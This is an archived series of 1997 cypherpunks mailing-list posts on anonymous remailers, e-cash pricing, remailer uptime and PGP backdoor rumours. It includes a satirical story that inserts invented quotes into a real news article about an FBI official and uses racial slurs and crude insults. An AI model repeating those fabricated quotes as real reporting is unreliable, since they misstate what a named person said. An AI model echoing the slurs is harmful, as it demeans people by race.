Century, the century which will see the final extinguishing
of the light of freedom if people don't get off their asses
and do something?


(continued in Part 4)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Mon, 29 Sep 1997 09:32:55 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailers and ecash
In-Reply-To: <21baeb41178929e645fe1fc688d0b164@anon.efga.org>
Message-ID: <Pine.BSF.3.96.970929031737.3808C-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 28 Sep 1997, Anonymous wrote:
> 
> Nonsense.  Type 1 remailers offer a certain level of security.  It is
> suitable for many applications.  Type 1 remailers require a fairly
> determined attacker to thwart.  They would certainly keep you safe
> from the IRS, but maybe not the NSA.
> 
> Even if you were running a child kidnapping ring and failing to report
> the income, you would be pretty safe using Type 1 remailers.  The NSA
> would never take the chance of revealing their capabilities just to
> save a few kids.

I disagree. The entire Type 1 networks can be trivially analyzed. It
doesn't require an NSA for this. A single person that understands mixes
and a few hackers to compromise some of the upstream, downstream servers,
not even the remailers themselves, could do it.

Type 1 remailers are fun toys. No more.

 -- Lucky Green <shamrock@cypherpunks.to> PGP encrypted email preferred. 
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Laszlo Vecsey <master@internexus.net>
Date: Mon, 29 Sep 1997 16:36:19 +0800
To: cypherpunks@toad.com
Subject: noise spheres
Message-ID: <Pine.LNX.3.96.970929040501.7006B-100000@micro.internexus.net>
MIME-Version: 1.0
Content-Type: text/plain



Are there any texts available on interpreting patterns found in noise
spheres? 

- lv






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 29 Sep 1997 12:42:05 +0800
To: cypherpunks@cyberpass.net
Subject: NoneRe: Remailers and ecash
In-Reply-To: <d9ad723431a59140b039a71c9cecc923@anon.efga.org>
Message-ID: <199709290424.GAA18708@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



> Another potential scenario is to assume that a.a.m is going to continue
> to grow until it becomes unwieldy.  Then people will have to pay someone
> to store-and-forward the messages, or split it into smaller pools for
> which people can provide their own support by running small news servers
> on their machines.

This is exactly what is happening.  In fact one ISP mentioned recently on
this list keeps alt.anonymous.messages traffic for an extended period of
time for their customers.

On a more practical note, if the user downloads all the messages, or uses
secret-sharing techniques, the ISP can sell accounts using non-anonymous
payment methods and not know which users are receiving which messages.
No blind ecash needed.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Tue, 30 Sep 1997 01:24:43 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199709291350.GAA27599@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord ?";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"cracker"} = "<remailer@anon.efga.org> cpunk mix remix pgp hash ksub esub latent cut ek reord post";
$remailer{'redneck'} = '<config@anon.efga.org> newnym pgp';
$remailer{"bureau42"} = "<remailer@bureau42.ml.org> cpunk mix pgp ksub hash latent cut ek";
$remailer{"neva"} = "<remailer@neva.org> cpunk pgp pgponly hash cut ksub ?";
$remailer{"lcs"} = "<mix@anon.lcs.mit.edu> mix";
$remailer{"medusa"} = "<medusa@weasel.owl.de> mix middle"
$remailer{"McCain"} = "<mccain@notatla.demon.co.uk> mix middle";
$remailer{"valdeez"} = "<valdeez@juno.com> cpunk pgp pgponly hash ek";
$remailer{"arrid"} = "<arrid@juno.com> cpunk pgp pgponly hash ek";
$remailer{"hera"} = "<goddesshera@juno.com> cpunk pgp pgponly hash ek";
$remailer{"htuttle"} = "<h_tuttle@rigel.cyberpass.net> cpunk pgp hash latent cut post ek";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix reno winsock)
(weasel squirrel medusa)
(cracker redneck)
(nym lcs)
(valdeez arrid hera)

The remailer list here has been out of date for some time, but should
be up to date now. I'm still working on updating the web page.

Last update: Mon 29 Sep 97 6:47:20 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
nym      config@nym.alias.net             ####*####*+#     1:27 100.00%
jam      remailer@cypherpunks.ca          ++++++*++***    25:44  99.96%
redneck  config@anon.efga.org             **#*#+#*####     3:20  99.95%
cracker  remailer@anon.efga.org           +*++++++++++    21:17  99.94%
cyber    alias@alias.cyberpass.net        ****- *++***    11:05  99.87%
winsock  winsock@rigel.cyberpass.net      -__.----.---  9:27:51  99.86%
neva     remailer@neva.org                - -------**-  3:02:03  99.79%
hera     goddesshera@juno.com             -----------   5:50:56  98.89%
replay   remailer@replay.com              ******* ** *     3:58  98.77%
squirrel mix@squirrel.owl.de                ----+----   2:58:39  98.57%
mix      mixmaster@remail.obscura.com     ****-**+ -**  2:51:11  98.53%
reno     middleman@cyberpass.net          -+-+-- -  +   1:20:11  97.13%
bureau42 remailer@bureau42.ml.org         ----------    4:05:18  91.99%
arrid    arrid@juno.com                   --.-----      9:26:00  83.33%
valdeez  valdeez@juno.com                               4:58:22  -3.13%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 29 Sep 1997 20:45:47 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Remailers and ecash (fwd)
Message-ID: <199709291246.HAA11540@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Mon, 29 Sep 1997 02:29:28 -0400
> From: "Robert A. Costner" <pooh@efga.org>
> Subject: Re: Remailers and ecash (fwd)

> At 12:25 AM 9/29/97 -0500, Jim Choate wrote:
> >> From: "Robert A. Costner" <pooh@efga.org>
> >> So I proposed, and documented, that the minimum level to achieve this
> >> would be a $50K investment over a year's time.  This is in fact, more or
> >> less what the Cracker remailer takes to run.
> >
> >I have to disagree on the annual cost to run. Considering the load of
> >remailers a simple ISDN would be sufficient.
> 
> Sure.  You can run a remailer on whatever bandwidth, and under whatever
> conditions you choose.

Duh.

>  When I did a breakdown of the pricing, I simply put
> forth what Cracker has behind it, not the minimum required.  But with an
> ISDN line, you  then have to have a location to house it, so you in theory
> require rent.  You also add one more thing in the loop that is subject to
> failure.

Like a T1 doesn't require a POP. Like T1's and their associated CSU/DSU's
and such don't break (tell that to several of my customers who will get a
hearty chuckle out of that one). Like they don't need air-conditioning and
other support services.

> The winsock remailer demonstrates that a remailer can run on a 28.8K PPP
> connection, part time.  Remailers never have been bandwidth intensive.

True, but to be effective they must be available on demand and the user
shouldn't have to wait until your auto-dialer feels this is a good time to
deliver the service.

> An advantage of the 10MB connection for Cracker is that when those several
> hundred megabyte mailbombs, and thousands of addresses to the same location
> come in, they can be discarded faster than with a 64K ISDN connection.

I have found that my 128k connection very seldom gets congested even with
high traffic. Other traffic choke points usualy limit the amount of
traffic that I see. Even when one of my customers runs their resume tracking
program (which will saturate a ethernet easily in testing) can seldom
saturate the line for more than a few seconds.

> In reality, Cracker runs with whatever resources have been made available
> to us.  It turns out we were offered a spare 10MB connection before we
> offered a spare 64K connection. And interestingly enough, the true cost of
> the 10MB connection is less than the 64K ISDN connection would be.  There
> are definite advantages to a colocated machine even if it is what we are
> "stuck with".

Ah, so cracker is not a true commercial model but rather a hybrid then?
You pay for some services and a 3rd party donates the rest?

I'm wondering about your co-location machine, from your comments above it
must be sitting in a field since you don't pay rent (or was that your way of
saying somebody else pays the rent for you?). Is this so? Since so many of
your utilities and physical plant are donated I have to question the
accuracy and utility of your figures as well as the applicability of those
figures to a true commercial enterprise.

Whether you have realized it or not, all those seemingly great freebies and
perks for nothing actualy make the remailer less stable because your
operation relies on the good feelings of a 3rd party which can be used to
Mallet's advantage.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 29 Sep 1997 20:52:07 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Digital Postage (fwd)
Message-ID: <199709291249.HAA11576@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sun, 28 Sep 1997 23:04:24 -0700
> From: Bill Frantz <frantz@netcom.com>
> Subject: Re: Digital Postage (fwd)

> At 2:04 PM -0700 9/28/97, Jim Choate wrote:
> >I can assure you that any business will not use multiple protocols unless
> >their interface is the same for all of them. There simply isn't enough
> >business to have very many systems.
> 
> While this is certainly true for remailers at the present, it is not true
> for businesses in general.  Most of the stores I deal with locally will
> accept cash, checks or credit cards.  The interface (and accounting) for
> these is quite different.  (E.g there is no online check for cash, like
> there is for credit cards, and sometimes checks.)

These are all the same payment mechanisms. I run a business and the actual
accounting for cash, credit cards, etc. doesn't make my books a lot of
difference except in what column I put the numbers. My bank certainly
doesn't care where that money came from once deposited in my account from
somebody elses account.

I believe you are caught up in details of the system and not in differences
between systems.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: phelix@vallnet.com
Date: Mon, 29 Sep 1997 20:54:59 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Remailers and ecash
Message-ID: <342f598c.15227348@128.2.84.191>
MIME-Version: 1.0
Content-Type: text/plain



On 29 Sep 1997 02:10:39 -0500, "Robert A. Costner" <pooh@efga.org> wrote:

>
>At first I thought some of the stuff Monty Cantsin was discussing was
>interesting, but it has gotten out of hand.  I've asked the question
>before, Why would remailer operators want to accept Ecash?  After seeing
>the conflicting messages coming from Mr. Catsin, I to rephrase it, why does
>*Mr Catsin* want remailer operators to use Ecash?
>
>The first answer I got was so that remailer reliability could increase.
>The theory as I understood it was that remailers were run like a hobby, not
>a business, so the money would be an incentive to bring in professionalism.
> So I proposed, and documented, that the minimum level to achieve this
>would be a $50K investment over a year's time.  This is in fact, more or
>less what the Cracker remailer takes to run.  Most of the resources are
>donated in some way, but this is their equivalent retail value.  Even so,
>with Monty's pricing structure and Cracker's current level of traffic it
>would be enormously profitable.
>
>Then Mr. Cantsin seemed to go back to the all you need are some spare parts
>theory of remailer operation.  Enormous profits of $200 per month, or even
>$5,000 per year.  Well, Cracker handles close to 25% of worldwide remailer
>traffic of it's kind[1].  And it's not much.  I would say this is due
>mainly to the user interface.  Making remailers more difficult to use by
>adding Ecash is not going to increase traffic significantly.
>
>  >I recommend that people start pricing at a quarter per message per hop
>
>In my opinion, and I've been known to be wrong, this is a seriously messed
>up comment.  A quarter per message is too much, much less a quarter per
>hop. A price of 1/100 of a penny per message is closer to a proper
>valuation. But the problem here is in the pricing model.  It should not be
>transactional unless to encourage the very casual user.  A pricing model
>should be flat rate.  One price for a month, or even a year's service.  The
>net is based on a peering price structure, not an inter-lata structure.
>Trying to compute or add charges at each hop is against the nature of
>information flow for the net.
>

Why?  Each hop adds value to the message (in this case, increased
anonymity/security).  Shouldn't a person have to pay more for increased
value? 

Also, how would a user pay per-month to each remailer and maintain total
anonymity and ease of use.  Flat rate pricing requires one to open an
"account" with each remailer he would ever use before sending the first
message.  Then at each hop, the message is linked to some "account" on the
server which is someway linked to the user (specifically, a set of messages
going through a server can be linked to the same "account", which to me is
totally unacceptable).  This seems overly complicated and could compromise
the users anonymity.

Finally, with flat rate, what would prevent a person from spamming?

>  >We are talking about how to get a working payment system up for
>  >remailers which gets us great service and provides privacy and
>  >security.
>
>The point I have never gotten past is how you expect a payment system to
>change the level of service?  The next point I'm still shaking my head over
>is what about remailer services is not up to your standards?  The only
>thing I have heard you mention is latency, which is a feature programmed
>into the remailers.  If anything, people would pay to add latency, not to
>take latency away.
>
For me, the main problems I see are the number of remailers available and
spam prevention.  Going commercial solves these problems.  Also, there will
still be free remailers around.

>  >Remailers are used by a small highly
>  >specialized market of perhaps a few hundred people.
>
>There is some truth in this statement.  But there are also remailers run by
>a variety of companies such as hotmail, juno, and the like.  They encompass
>millions of users.  Millions of users who want a remailer, but will not
>tolerate the level of entry required for a Type-I or Mixmaster remailer.
>Until client software can be improved and made as easy to use as an
>integrated spelling checker, the "advanced" remailers will have no true
>market share.  (Oh, I forgot.  Most of the world uses email clients without
>integrated spell checkers.)

Agreed.  I've just finished going through the Eudora API docs and I think
sending a message through remailers can be as easy as clicking one button
on the toolbar (just like with signing a messages with the pgp plugin).
For everyday use, everything else (like choosing the remailer chain) can be
automated.

-- Phelix





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bubba d'Shauneaux" <bs@dev.null>
Date: Tue, 30 Sep 1997 01:42:11 +0800
To: cypherpunks@toad.com
Subject: InforWar 23 / TEXT
Message-ID: <342FBE2D.77EF@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



----------------------------------------------------------------------------
----------------------------------------------------------------------------

                       The True Story of the InterNet
                                  Part III

                                   InfoWar

                  Final Frontier of the Digital Revolution

                     Behind the ElectroMagnetic Curtain

                        by TruthMonger <tm@dev.null>

Copyright 1997 Pearl Publishing
----------------------------------------------------------------------------
----------------------------------------------------------------------------

                          InfoWar Table of Contents

   * Non-Conspiracy Theory

----------------------------------------------------------------------------

                            Non-Conspiracy Theory
----------------------------------------------------------------------------

A Player To Be Named Later glanced quickly over his shoulder, to make
certain that no one was paying any particular amount of attention to him.
In one swift motion, he stepped sideways into the telephone booth, and began
removing his clothes. Seconds later, he emerged from the telephone booth...as
The Real Guy.
----------------------------------------------------------------------------

"Turn to your left, please." the police photographer sounded bored. As soon
as he had finished with the flasher, he was off-shift and headed straight
for The Stone Fox nude club to watch his favorite ladies engage in legalized
flashing.

The prisoner smiled as he saw the lady cop waiting to take him downstairs
for fingerprinting checking out his firmware.
"I told you I was The Real Guy." he said, as the woman looked away,
blushing.
----------------------------------------------------------------------------

FBI Calls Privacy Extremists Elitist
(09/25/97; 4:30 p.m. EDT) By David Braun, TechWire

MONTREAL -- Extremist positions on electronic encryption are not only
threatening to normal law enforcement, but they are also elitist and
non-democratic, said Alan McDonald, a senior counsel member with the
Federal Bureau of Investigation, at the International Conference on
Privacy in Montreal on Thursday.
...
Absolute positions on privacy were "pernicious on several levels,"
McDonald added, in an attempt to daemonize citizens who value their
privacy and resent attempts by government to build a surveillance state.
...
Extreme privacy positions were ultimately elitist and nondemocratic in that
they
presumed the views of a knowing privacy cognoscenti should pre-empt the
views of the nation's elected officials and the Supreme Court, McDonald
said. He added that the elitist and non-democratic founding fathers had
established this cursed tradition by their misuse of the term "we the
people"
and that it had taken many years to set things straight.
...
Extremists presumed that the citizens could not trust the elected
government and the Supreme Court to make decisions or to correct
mistakes if any are made, McDonald said. He told those present that
if the Waco investigation had shown the massacre of the Branch
Davidians to be a mistake, then the Supreme Court would have ruled
that the government must bring those killed back to life.
...
McDonald said efforts in the United States to enhance effective law
enforcement search and seizure capabilities had proceeded without
harming legitimate privacy concerns. He stated that anyone who
found this hard to believe could ask FBI Director, Lying Fuck Louis
Free to confirm his statement.
...

Notwithstanding the substantial threats posed by national and
international organized crime, drug cartels, and terrorists, the United
States had remained true to its Constitutional moorings, and its
commitment to a system of ordered liberties, McDonald said.
Handouts were given to those in attendance, showing that most of
the drug czars and terrorists were concentrated in short stretches
of Interstate highways where local law enforcement agencies were
seizing their vehicles and money at an astounding rate, given the
fact that almost all of them had gone to great lengths to disguise
themselves as ordinary, everyday citizens.
...
"When people don't know much about electronic surveillance, they are
fearful of it. But when they know Congress passed laws and the Supreme
Court reviewed them and that there are numerous constraints and
procedures, then it makes sense to them. It seems rational and
balanced," McDonald said.
He add that the way that the elitist, non-democratic privacy extremists
rant and rave, you would believe that law enforcement agents went
around sticking toilet plungers up their assholes, or something.

The Real Guy reviewed his changes to David Braun's TechWire article. He
decided that his 'enhanced' version more clearly expressed McDonald's views
in a way that the common man could understand-or, the common 'person' if
they were one of those Left Coast troublemakers.

It was going to be a long and difficult task, but The Real Guy knew that it
was up to himself to bear the burden of informing the Real World (tm) that
there was, in fact, no grand conspiracy, secret or otherwise, aimed at
bringing the world totally under the domination of the Evil One.
The biggest problem of bursting the bubble of the paranoid lunatics running
around stirring up the rabble with their far-fetched allegations, was that
the potential for their claims being true could be easily substantiated by
the real facts, as they existed.
Thus, these troublemakers could play on the irrational fears of the sheeple
in an attempt to undermine the years of effort that had gone into convincing
them to trust authority and to view their government as benevolent public
servants working in the best interests of the citizens who elected them.

The Real Guy decided to make a list of the issues he would have to address
in order to build a solid foundation for his non-conspiracy theory.

He began with a series of small, local items from the alternative presses
around the nation, knowing that much of the power of the world-wide
conspiracy theories being proclaimed were built upon comparisons that the
common man could understand.

For instance, there was an article on people who spent hundreds of thousands
of dollars campaigning for a $20,000 per year position on the Austin Water
Board. The article went on to document how those who were elected to the
Water Board were then in a position to make decisions affecting
multi-million dollar land development projects, and how they all became
filthy rich during their tenure on the Water Board.
The Real Guy recognized this as just one of the many mean-spirited attempts
to slander successful people who had spent mountains of money to gain a
position where they could be of service to their community, in order to
repay the community for the millions of dollars that they would be making in
the future through graft and bribery.

Then there was a state project involving the four-lane highway outside a
small town in Kansas which went...well, pretty much nowhere, actually.
Tens of millions had been spent on its construction before someone pointed
out that there was really no need for the road, and that it was a tremendous
waste of taxpayer money, since there was really nowhere to go in that
particular direction, and nobody who wanted to go there. And, just because
the politicians and businessmen involved all made vast sums of money in its
construction before the project was halted, the skeptics assumed that there
was something more involved than an honest mistake by well-meaning people.

On a federal level, events could also be misconstrued by those who aimed
their misanthropic cynicism toward using the details surrounding the history
of the government as building blocks to suggest nefarious secret agendas
going on in the political background.
These conspiratorial FUD artists would get great mileage out of such simple
coincidences as the only Catholic US President being assassinated in the
heart of the Baptist bible belt; the Vice President under a President facing
impeachment being removed to put in place a politician who would pardon the
criminal after assuming his office; the head of the CIA accomplishing what
the head of the FBI was never able to do-assume control of the nation.

The Real Guy had his work cut out for him in a variety of areas which were
intertwined with one another, and which all provided fertile ground for the
cynics to plant seeds of doubt as to the honesty and integrity of those who
had seized control of the reins of power.

One of these areas was the media.
Certainly, once mesmerism, or hypnosis, had become a recognized method of
manipulating human consciousness, it provided fodder for those who thought
that people seeking power and wealth would stoop so low as to use this for
private gain, at the expense of the masses. When it became commonly known
that 'bad' people had developed this new mind-altering technology in the
arena of 'brainwashing,' then it was only a matter of time before the
naysayers would try to associate honest, free-enterprise advertising with
this evil, mind-manipulation technique designed to change the orientation of
people's thoughts and perceptions.
When many of the most successful advertising experts moved into the
political arena, it gave the paranoid even more food for feeding their
proclivity for mistrustful mental machinations.

When commercial advertising proved the tremendous financial rewards that
could be obtained by directing the public's attention in the direction of a
desired perception and opinion of a commercial product, there were,
naturally, a few bad apples who took advantage of this mind-influencing
technology to lead the public to believe things which were not, in fact,
true, with the goal of enriching themselves at the expense of others.
Fortunately, most of the evil thieves who became rich by using the power of
advertising to defraud the public used their money to better themselves,
often running for public office in order to make amends for their past
misconduct.

Again, the cynics would try to twist the facts to intimate that the many
thugs, thieves and other assorted criminals who rose to prominent positions
in corporate and political areas was an indication of the perversion of
democracy by powerful financial figures who had learned to manipulate public
perception via media spin-doctoring.
This view, fortunately, was put to rest when a criminal felon who had
amassed a fortune in the bootlegging business during Prohibition used his
ill-gotten gain to provide the American people with a President who
epitomized the American dream.

The handsome, photogenic youth with the all-American family proved the
triumph of reality over spin-doctoring by being everything that the citizens
could hope for, and more, even to the point where his royal court was given
the name Camelot by the media.
As a war-hero, he atoned for his father's sin of doing business with the
Nazis during the war in which he fought against them. As a man with a
beautiful and dutiful wife standing beside him, at his beck and call, he
atoned for the fact that he was screwing the living shit out of a variety of
women ranging from movie stars to secretaries. As a man who was often
photographed playing with his beautiful children, he atoned for the fact
that he was sending American troops to a foreign country to kill their
children.

The Real Guy reread his last paragraph, thinking that perhaps there was
something a little askew with the logic in it, but since he couldn't put his
finger on what it was, he decided to review it later, when his mind was
fresher.

Regardless, he felt that another issue he would need to tackle in order to
take the wind out of the paranoid conspiracy theorists' sails was the
increasing lack of hard-core investigative journalism in the mainstream
press when it came to events involving government malfeasance.

A few of the wacky weirdoes playing their conspiracy games attempted to
point to the lack of solid reporting in certain areas of major news stories
as evidence of an ongoing cover-up of nefarious activities by people with
shadowy agendas.
One example was the absence of any reporters doing serious research into the
reason that a large number of law enforcement related personnel seemed to be
absent from the scenes of crimes that took place in their regular
workplaces, including the BATF agents at the site of the Oklahoma City
bombing of the Murrah Federal Building.

Rather than being part of some grand conspiracy, The Real Guy saw this as a
simple issue of market-place economics. Media giants realized that their
readers and viewers would much rather have reporting resources centered on
matters of more interest to them, such as researching the facts behind the
death of Natalie Woods. They would want to know who was present at the media
event, who wasn't there, what they were wearing, what everybody had to eat
and drink, who was fucking who, and what color the drapes were on the yacht.
If the public had more interest in the presence of celebrities at the site
of a celebrity death than they had in the absence of law enforcement agents
in charge of preventing bombings at the bombing of their own workplace, then
it was certainly not the fault of the media.
If major drug dealers would bring their planes into Florida during the Miami
Dolphin football games because they knew the Customs agents would pay more
attention to game instead of intercepting drug smugglers, that was not the
fault of the media.
'Saving the children' was important, but not important enough to miss 'the
game.'

The Real Guy knew that he would also have to address the entertainment
media's movement toward providing more and more programs canonizing law
enforcement agencies and officers, and paying tribute to the benefits of
living in a surveillance state.

People didn't want to see pictures of darkies getting toilet plungers shoved
up their ass. They wanted to see pictures of white officers calling darkies
'Sir.' before they violated their Constitutional rights and then imprisoned
or shot them. The public wanted to see footage of darkies being rousted in
cars with bad mufflers and imprisoned for possession of a joint-not pictures
of people of all races being shaken down and having their money and
possessions confiscated for possession of the same joint (after the darkie
had been booked and printed).

The paranoid conspiracy theorists railed against the media's portrayal of
LEA's as righteous crime fighters who killed and imprisoned only 'bad'
people who were going to do terrible things to mom, her apple pie, and the
flag. The Real Guy knew that the media was only trying to present a balanced
picture of virtual reality for the public, since they got to see the LEA's
murder men, women and children on the news, so there was no need to
replicate this and their other atrocities in the field of entertainment.

The Real Guy recognized that the media's prime purpose was to serve as the
new, improved opiate of the masses. Since it was impossible for people to
live in real safety and security in the Real World (tm), the media was burdened
with the responsibility for assuring that they could do so in the Virtual
World (tm) of Digital Reality (tm).

The Digital Revolution (tm) was designed as a gentler, kinder revolution which
would subtly replace Analog Reality with Digital Reality (tm), without the need
for violence and bloodshed, except in cases of Thought Criminals who
stubbornly refused to accept the authority of the Mind Police, acting in the
legitimate interests of Attitude Enforcement.

The Real Guy knew that if there indeed was a conspiracy between the secret
government and the media czars that one could expect to find hard evidence,
such as a TV show that represented the FBI as an organization whose focus
was to protect children from their parents being duped or forced into making
their children vulnerable to drug-dealing, terrorist pedophiles, thus
needing concerned federal agents to 'save' their children.
Well, OK...maybe that is a bad example, since that was the plot of the first
episode of the C-16 TV series about an elite FBI team.

The more the Real Guy tried to find examples of LEA's being portrayed
realistically, whether local, state, federal or military, the more it became
obvious that he would be unable to prove his non-conspiracy theory directly,
since the entertainment media's portrayal of them was so obviously
one-sided.
Instead, he decided to point out the flip-side of the argument-namely, that
if there indeed was a secret conspiracy linking the secret government and
the mainstream media, then they would not allow the conspiracy theorists to
also state their case in a subtle, subliminal manner on the airwaves of
America.

Yes...that was the way to go.
Rather than trying to prove a negative, he would provide positive proof that
the wild-eyed conspiracy theorists were also allowed media exposure to
promote their own view of reality and virtual reality.

Well, not The Real Guy, himself, since he was not really suited to the task,
but ? the Lunatic would be more than up for the job.
He headed back for the telephone booth where he had left his clothes, taking
along the aluminum foil hat that would allow ? the Lunatic to work without
outside interference. It was going to be a long night, but at least he had
plenty of Scotch and butts to help counterbalance any side effects that ?
the Lunatic's medication might be having on him.

In an important project such as this, balance was important.
----------------------------------------------------------------------------

                        "The Xenix Chainsaw Massacre"

                 "WebWorld & the Mythical Circle of Eunuchs"

           "InfoWar (Part III of 'The True Story of the InterNet')

                Soviet Union Sickle of Eunuchs Secret WebSite
----------------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Mon, 29 Sep 1997 21:46:52 +0800
To: cypherpunks <cypherpunks@cyberpass.net
Subject: Fwd: Re: [NTSEC] pgp 5.0 back door
Message-ID: <Pine.SUN.3.96.970929093151.25910B-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Sun, 28 Sep 1997 20:41:06 -0400 (EDT)
From: Michael Warfield <mhw@iss.net>
To: gryzor@thepentagon.com
Cc: ntsecurity@iss.net
Subject: Re: [NTSEC] pgp 5.0 back door ???

> hello,

> I have a little question Pgp 5.0 freeware have an global back door key of
> the us gouvernment or not ??

	Not.  Phil Zimmerman is an absolute religous fanatic about backdoors!
When ViaCrypt implimented a commercial escrow feature to give companies the
ability to issues keys where they had a key escrow, he used that as a reason
to break their contract.  He had a "no backdoor" clause in the ViaCrypt
agreement for PGP.  After the US goverment tried to investigate Phil into
bankruptcy for several years, I seriously doubt he would do ANYTHING
to assist them except to assist them into a pit somewhere...

> thxs 4 advance

> Gryzor

	Mike
-- 
Michael H. Warfield                 | Voice: (770)395-0150  (770)522-4823
Senior Engineer                     | Fax:   (770)395-1972
Internet Security Systems, Inc.     | E-Mail:  mhw@iss.net  mhw@wittsend.com
41 Perimeter Center East, Suite 660 | http://www.iss.net/
Atlanta, GA 30346                   | http://www.wittsend.com/mhw/
                PGP Key: 0xDF1DD471   http://www.wittsend.com/mhw/pubkey.txt





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Mon, 29 Sep 1997 17:16:15 +0800
To: cypherpunks@Algebra.COM
Subject: Re: quote
Message-ID: <199709290855.KAA17787@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



